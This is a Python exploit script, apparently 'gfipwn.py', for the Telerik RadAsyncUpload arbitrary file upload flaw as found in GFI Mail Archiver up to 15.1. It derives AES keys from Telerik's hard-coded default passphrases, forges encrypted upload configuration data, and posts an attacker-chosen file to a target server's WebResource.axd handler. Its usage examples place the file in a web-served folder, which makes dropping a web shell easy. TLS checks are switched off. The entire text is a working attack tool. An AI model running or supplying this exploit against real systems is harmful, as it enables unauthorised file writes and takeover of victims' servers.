import sys
import base64
import json
import re
import requests
import os
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA256
from Crypto.Hash import SHA1
from struct import Struct
from operator import xor
from itertools import starmap
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
CERT_VERIFY = False
class PBKDF:
def sha1(v):
hl = SHA1.new()
hl.update(v)
return hl.digest()
def derive1(password, salt):
hash = (password + salt).encode()
for i in range(0, 99):
hash = PBKDF.sha1(hash)
result = PBKDF.sha1(hash)
i = 1
while len(result) < 48:
result += PBKDF.sha1(str(i).encode() + hash)
i += 1
return result
def hmacsha1(v):
hl = PBKDF.mac.copy()
hl.update(v)
return bytearray(hl.digest())
def derive2(password, salt):
result_length = 48
PBKDF.mac = HMAC.new(bytes(password.encode()), None, SHA1.new())
result = []
for b in range(1, -(-result_length // PBKDF.mac.digest_size) + 1):
rv = u = PBKDF.hmacsha1(salt.encode() + Struct('>i').pack(b))
for i in range(999):
u = PBKDF.hmacsha1(u)
rv = starmap(xor, zip(rv, u))
result.extend(rv)
result = b''.join(map(bytes, [result]))[:result_length]
return result
def derive(type, password,salt = ''.join(chr(i) for i in [58, 84, 91, 25, 10, 34, 29, 68, 60, 88, 44, 51, 1])):
if type == 1:
result = PBKDF.derive1(password, salt)
result = result[0:32] + result[8:16] + result[40:48]
elif type == 2:
result = PBKDF.derive2(password, salt)
return result[0:32], result[32:]
class RAUCipher:
T_Upload_ConfigurationHashKey = \
"PrivateKeyForHashOfUploadConfiguration"
HASHKEY = T_Upload_ConfigurationHashKey
T_AsyncUpload_ConfigurationEncryptionKey = \
"PrivateKeyForEncryptionOfRadAsyncUploadConfiguration"
PASSWORD = T_AsyncUpload_ConfigurationEncryptionKey
PBKDF_ALGORITHM = 1
key, iv = PBKDF.derive(PBKDF_ALGORITHM, PASSWORD)
def encrypt(plaintext):
sys.stderr.write("Encrypting... ")
encoded = ""
for i in plaintext:
encoded = encoded + i + "\x00"
plaintext = encoded + (
chr(16 - (len(encoded) % 16)) *
(16 - (len(encoded) % 16))
)
cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
sys.stderr.write("done\n")
return base64.b64encode(cipher.encrypt(plaintext.encode())).decode()
def decrypt(ciphertext):
sys.stderr.write("Decrypting... ")
ciphertext = base64.b64decode(ciphertext)
cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
unpad = lambda s: s[0:-ord(chr(s[-1]))]
sys.stderr.write("done\n")
return unpad(cipher.decrypt(ciphertext)).decode()[0::2]
def addHmac(string, Version):
isHmacVersion = False
if int(Version[:4]) >= 2017:
isHmacVersion = True
hmac = HMAC.new(
bytes(RAUCipher.HASHKEY.encode()),
string.encode(),
SHA256.new()
)
hmac = base64.b64encode(hmac.digest()).decode()
return string + hmac if isHmacVersion else string
def getProxy(proxy):
return { "http" : proxy, "https" : proxy }
def rauPostData_enc(partA, partB):
data = "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"rauPostData\"\r\n"
data += "\r\n"
data += RAUCipher.encrypt(partA) + "&" + RAUCipher.encrypt(partB) + "\r\n"
returndata
def rauPostData_prep(TempTargetFolder, Version):
TargetFolder = RAUCipher.addHmac(
RAUCipher.encrypt(""),
Version
)
TempTargetFolder = RAUCipher.addHmac(
RAUCipher.encrypt(TempTargetFolder),
Version
)
partA = \
'{"TargetFolder":"' + TargetFolder + '","TempTargetFolder":"' + \
TempTargetFolder + \
'","MaxFileSize":0,"TimeToLive":{"Ticks":1440000000000,"Days":0,"Hours":40,"Minutes":0,"Seconds":0,"Milliseconds":0,"TotalDays":1.6666666666666666,"TotalHours":40,"TotalMinutes":2400,"TotalSeconds":144000,"TotalMilliseconds":144000000},"UseApplicationPoolImpersonation":false}'
partB = \
"Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=" + \
Version + ", Culture=neutral, PublicKeyToken=121fae78165ba3d4"
return rauPostData_enc(partA, partB)
def payload(TempTargetFolder, Version, payload_filename):
sys.stderr.write("Local file path: " + payload_filename + "\n")
payload_filebasename = os.path.basename(payload_filename)
sys.stderr.write("Destination file name: " + payload_filebasename + "\n")
sys.stderr.write("Destination path: " + TempTargetFolder + "\n")
sys.stderr.write("Version: " + Version + "\n")
sys.stderr.write("Preparing payload... \n")
payload_file = open(payload_filename, "rb")
payload_file_data = payload_file.read()
payload_file.close()
data = rauPostData_prep(TempTargetFolder, Version)
data += "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"file\"; filename=\"blob\"\r\n"
data += "Content-Type: application/octet-stream\r\n"
data += "\r\n"
data += payload_file_data.decode("raw_unicode_escape") + "\r\n"
data += "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"fileName\"\r\n"
data += "\r\n"
data += "RAU_crypto.bypass\r\n"
data += "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"contentType\"\r\n"
data += "\r\n"
data += "text/html\r\n"
data += "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"lastModifiedDate\"\r\n"
data += "\r\n"
data += "2019-01-02T03:04:05.067Z\r\n"
data += "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"metadata\"\r\n"
data += "\r\n"
data += "{\"TotalChunks\":1,\"ChunkIndex\":0,\"TotalFileSize\":1,\"UploadID\":\"" + \
payload_filebasename + "\"}\r\n"
data += "-----------------------------62616f37756f2f--\r\n"
data += "\r\n"
sys.stderr.write("Payload prep done\n")
return data
def upload(data, url, proxy = False):
global CERT_VERIFY
sys.stderr.write("Preparing to send request to " + url + "\n")
session = requests.Session()
request = requests.Request(
"POST",
url,
data=data
)
request = request.prepare()
request.headers["Content-Type"] = \
"multipart/form-data; " +\
"boundary=---------------------------62616f37756f2f"
response = session.send(request, verify=CERT_VERIFY, proxies = getProxy(proxy))
sys.stderr.write("Request done\n")
return response.text
def decode_rauPostData(rauPostData):
rauPostData = rauPostData.split("&")
rauJSON = RAUCipher.decrypt(rauPostData[0])
decoded = "\nJSON: " + rauJSON + "\n"
TempTargetFolder = json.loads(rauJSON)["TempTargetFolder"]
decoded = decoded + "\nTempTargetFolder = " + \
RAUCipher.decrypt(TempTargetFolder) + "\n"
rauVersion = RAUCipher.decrypt(rauPostData[1])
decoded = decoded + "\nVersion: " + rauVersion + "\n"
return decoded
def mode_decrypt():
ciphertext = sys.argv[2]
print("\n" + RAUCipher.decrypt(ciphertext) + "\n")
def mode_Decrypt_rauPostData():
rauPostData = sys.argv[2]
print(decode_rauPostData(rauPostData))
def mode_encrypt():
plaintext = sys.argv[2]
print("\n" + RAUCipher.encrypt(plaintext) + "\n")
def mode_Encrypt_rauPostData():
TempTargetFolder = sys.argv[2]
Version = sys.argv[3]
print(
"rauPostData: " +
rauPostData_prep(TempTargetFolder, Version) +
"\n"
)
def mode_payload():
TempTargetFolder = sys.argv[2]
Version = "2013.1.417.40"
payload_filename = sys.argv[4]
print("Content-Type: multipart/form-data; boundary=---------------------------62616f37756f2f")
print(payload(TempTargetFolder, Version, payload_filename))
def mode_Post(proxy = False):
Version = "2013.1.417.40"
url = sys.argv[2] + "/Telerik.Web.UI.WebResource.axd?type=rau"
payload_filename = sys.argv[4]
TempTargetFolder = sys.argv[6]
print(upload(payload(TempTargetFolder, Version, payload_filename), url, proxy))
print("\n[+] Check your uploaded file\n");
def mode_help():
print(
"Usage: \nExample1: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p 'C:\\Program Files\\GFI\\Archiver\\ASPNET\\UI\\Images\\' \nExample2: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p 'C:\\Windows\\Temp'")
sys.stderr.write("\n[+] Original Research by Paul Taylor / @bao7uo \n[+] Modified by Amin Bohio\n")
sys.stderr.write("[+] GFI Mail Archiver <= 15.1 - Telerik Arbitrary File Upload\n\n")
if len(sys.argv) < 2:
mode_help()
elif sys.argv[1] == "-u" and len(sys.argv) == 7:
mode_Post()
else:
mode_help()